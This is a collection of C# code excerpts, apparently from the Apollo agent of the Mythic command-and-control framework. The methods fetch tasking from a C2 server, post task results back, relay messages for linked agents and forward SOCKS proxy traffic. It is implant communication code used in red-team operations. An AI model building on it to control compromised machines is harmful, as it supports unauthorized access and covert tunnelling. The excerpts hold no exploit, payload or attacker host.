示例#1
0
        public override string SendResponse(string id, Apollo.Tasks.ApolloTaskResponse taskresp)
        {
            try // Try block for HTTP requests
            {
                // Encrypt json to send to server
                //Structs.CheckTaskingRequest req = new Structs.CheckTaskingRequest()
                //{
                //    action = "get_tasking",
                //    tasking_size = 1
                //};
                //if (DelegateMessageQueue.Count > 0)
                //{
                //    DelegateMessageMtx.WaitOne();
                //    DelegateMessageQueue.ToArray();
                //    DelegateMessageQueue.Clear();
                //    //DelegateMessageQueue = new List<Dictionary<string, string>>();
                //    DelegateMessageMtx.ReleaseMutex();
                //}
                // Could add delegate post messages
                //string json = JsonConvert.SerializeObject(req);
                //Apfell.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject<Apfell.Structs.CheckTaskingResponse>(Send(json));
                Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse
                {
                    action    = "post_response",
                    responses = new Apollo.Tasks.ApolloTaskResponse[] { taskresp },
                    delegates = new Dictionary <string, string>[] { },
                };
                //Dictionary<string, string>[] delegateMessages = new Dictionary<string, string>[] { };
                if (DelegateMessageRequestQueue.Count > 0)
                {
                    DelegateMessageRequestMutex.WaitOne();
                    apfellResponse.delegates = DelegateMessageRequestQueue.ToArray();
                    DelegateMessageRequestQueue.Clear();
                    DelegateMessageRequestMutex.ReleaseMutex();
                }
                string json = JsonConvert.SerializeObject(apfellResponse);

                if (Send(id, json))
                {
                    string result = (string)Inbox.GetMessage(id);
                    //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}");
                    if (result.Contains("success"))
                    {
                        // If it was successful, return the result
                        return(result);
                    }
                }
                //throw (new Exception($"POST Task Response {taskresp.task} Failed"));
            }
            catch (Exception e) // Catch exceptions from HTTP request or retry exceeded
            {
                return(e.Message);
            }
            return("");
        }
示例#2
0
            public override Structs.TaskQueue GetMessages(Apollo.Agent agent)
            {
                Structs.TaskQueue result;
                List <Task>       finalTaskList = new List <Task>();
                List <Structs.DelegateMessage> finalDelegateList = new List <Structs.DelegateMessage>();

                Structs.CheckTaskingRequest req = new Structs.CheckTaskingRequest()
                {
                    action       = "get_tasking",
                    tasking_size = 1
                };
                if (DelegateMessageRequestQueue.Count > 0)
                {
                    DelegateMessageRequestMutex.WaitOne();
                    req.delegates = DelegateMessageRequestQueue.ToArray();
                    DelegateMessageRequestQueue.Clear();
                    //DelegateMessageQueue = new List<Dictionary<string, string>>();
                    DelegateMessageRequestMutex.ReleaseMutex();
                }
                // Could add delegate post messages
                string json      = JsonConvert.SerializeObject(req);
                string taskingId = Guid.NewGuid().ToString();

                if (Send(taskingId, json))
                {
                    string response = (string)Inbox.GetMessage(taskingId);
                    Mythic.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject <Mythic.Structs.CheckTaskingResponse>(response);

                    foreach (Task task in resp.tasks)
                    {
                        Debug.WriteLine("[-] CheckTasking - NEW TASK with ID: " + task.id);
                        finalTaskList.Add(task);
                    }

                    if (resp.delegates != null)
                    {
                        foreach (Dictionary <string, string> delegateMessage in resp.delegates)
                        {
                            foreach (KeyValuePair <string, string> item in delegateMessage)
                            {
                                finalDelegateList.Add(new Structs.DelegateMessage()
                                {
                                    UUID    = item.Key,
                                    Message = item.Value
                                });
                            }
                        }
                    }
                }

                result = new Structs.TaskQueue()
                {
                    Tasks     = finalTaskList.ToArray(),
                    Delegates = finalDelegateList.ToArray()
                };
                //result.Add("tasks", finalTaskList.ToArray());
                //result.Add("delegates", finalDelegateList.ToArray());

                //SCTask task = JsonConvert.DeserializeObject<SCTask>(Post(json));
                return(result);
            }
示例#3
0
        /// <summary>
        /// Check Apfell endpoint for new task
        /// </summary>
        /// <returns>CaramelTask with the next task to execute</returns>
        override public Mythic.Structs.TaskQueue GetMessages(Apollo.Agent agent)
        {
            Stopwatch sw = new Stopwatch();

            sw.Start();
            //DebugWriteLine("Attempting to send SOCKS datagrams...");
            //SendSocksDatagrams();
            sw.Stop();
            DebugWriteLine($"SendSocksDatagrams took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to run.");
            sw.Restart();
            //DebugWriteLine("Sent all SOCKS datagrams!");
            TaskQueue              response                 = new TaskQueue();
            List <Task>            finalTaskList            = new List <Task>();
            List <DelegateMessage> finalDelegateMessageList = new List <DelegateMessage>();
            CheckTaskingRequest    req = new CheckTaskingRequest()
            {
                action       = "get_tasking",
                tasking_size = -1
            };

            if (DelegateMessageRequestQueue.Count > 0)
            {
                DelegateMessageRequestMutex.WaitOne();
                req.delegates = DelegateMessageRequestQueue.ToArray();
                DelegateMessageRequestQueue.Clear();
                DelegateMessageRequestMutex.ReleaseMutex();
            }
            else
            {
                req.delegates = new Dictionary <string, string>[] { };
            }
            // Could add delegate post messages
            string json = JsonConvert.SerializeObject(req);
            string id   = Guid.NewGuid().ToString();

            if (Send(id, json))
            {
                string returnMsg = (string)Inbox.GetMessage(id);
                //JObject test = (JObject)JsonConvert.DeserializeObject(returnMsg);
                ////Dictionary<string, object>[] testDictTasks = test.Value<Dictionary<string, object>[]>("tasks");
                //Task[] testTasks = test.Value<Task[]>("tasks");
                Mythic.Structs.CheckTaskingResponse resp = JsonConvert.DeserializeObject <Mythic.Structs.CheckTaskingResponse>(returnMsg);
                if (resp.tasks != null)
                {
                    foreach (Task task in resp.tasks)
                    {
                        Debug.WriteLine("[-] CheckTasking - NEW TASK with ID: " + task.id);
                        finalTaskList.Add(task);
                    }
                }
                if (resp.delegates != null)
                {
                    foreach (Dictionary <string, string> delmsg in resp.delegates)
                    {
                        string uuid = delmsg.Keys.First();
                        finalDelegateMessageList.Add(new DelegateMessage()
                        {
                            UUID    = uuid,
                            Message = delmsg[uuid]
                        });
                    }
                }
                if (resp.socks != null)
                {
                    response.SocksDatagrams = resp.socks;
                }
            }
            response.Delegates = finalDelegateMessageList.ToArray();
            response.Tasks     = finalTaskList.ToArray();
            sw.Stop();
            DebugWriteLine($"Get tasking took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to run.");
            //SCTask task = JsonConvert.DeserializeObject<SCTask>(Post(json));
            return(response);
        }
示例#4
0
        override public string SendResponses(string id, Apollo.Tasks.ApolloTaskResponse[] resps, SocksDatagram[] datagrams = null)
        {
            try // Try block for HTTP requests
            {
                // Encrypt json to send to server

                /*
                 * //Utils.DebugUtils.DebugWriteLine("Attempting to get all messages from Queue...");
                 * SocksDatagram[] datagrams = Apollo.SocksProxy.SocksController.GetMythicMessagesFromQueue();
                 * //Utils.DebugUtils.DebugWriteLine("Got all messages from Queue!");
                 * bool bRet = false;
                 * if (datagrams.Length == 0)
                 * {
                 *  return true;
                 * }
                 * try // Try block for HTTP requests
                 * {
                 *  // Encrypt json to send to server
                 *  string msgId = $"{Guid.NewGuid().ToString()}";
                 *  Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse
                 *  {
                 *      action = "post_response",
                 *      responses = new Apollo.Tasks.ApolloTaskResponse[] { },
                 *      delegates = new Dictionary<string, string>[] { },
                 *      socks = datagrams,
                 *      message_id = msgId
                 *  };
                 *  string json = JsonConvert.SerializeObject(apfellResponse);
                 *  if (Send(msgId, json))
                 *  {
                 *      string result = (string)Inbox.GetMessage(msgId);
                 *      //Utils.DebugUtils.DebugWriteLine("Got the response to sending datagrams!");
                 *      bRet = true;
                 *      //if (result.Contains("success"))
                 *      //    // If it was successful, return the result
                 *      //    bRet = true;
                 *  }
                 *  //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}");
                 *  //throw (new Exception($"POST Task Response {taskresp.task} Failed"));
                 * }
                 * catch (Exception e) // Catch exceptions from HTTP request or retry exceeded
                 * {
                 *  bRet = false;
                 * }
                 * return bRet;*/

                Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse
                {
                    action    = "post_response",
                    responses = resps,
                    delegates = new Dictionary <string, string>[] { },
                    socks     = datagrams
                };
                if (DelegateMessageRequestQueue.Count > 0)
                {
                    lock (DelegateMessageRequestQueue)
                    {
                        apfellResponse.delegates = DelegateMessageRequestQueue.ToArray();
                        DelegateMessageRequestQueue.Clear();
                    }
                }
                string json = JsonConvert.SerializeObject(apfellResponse);
                //string id = Guid.NewGuid().ToString();
                if (Send(id, json))
                {
                    string result = (string)Inbox.GetMessage(id);
                    if (result.Contains("success"))
                    {
                        // If it was successful, return the result
                        return(result);
                    }
                }
                //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}");
                //throw (new Exception($"POST Task Response {taskresp.task} Failed"));
            }
            catch (Exception e) // Catch exceptions from HTTP request or retry exceeded
            {
                return(e.Message);
            }
            return("");
        }